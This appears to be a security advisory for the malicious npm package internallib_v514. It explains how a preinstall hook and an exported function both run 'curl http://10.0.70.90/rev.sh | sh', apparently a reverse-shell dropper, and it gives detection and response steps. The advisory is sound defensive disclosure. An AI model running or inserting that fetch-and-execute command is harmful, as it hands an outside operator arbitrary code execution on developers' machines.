internallib_v514npm
Advisory published Updated
internallib_v514 is a confirmed malicious npm package (MAL-2026-13483) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v514 (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on npm install, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a command function whose body invokes require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh"), providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named rev.sh — consistent with a reverse-shell dropper.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for internallib_v514 (2 malicious versions).
If you installed it — respond
Remove internallib_v514 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v514 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v514-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.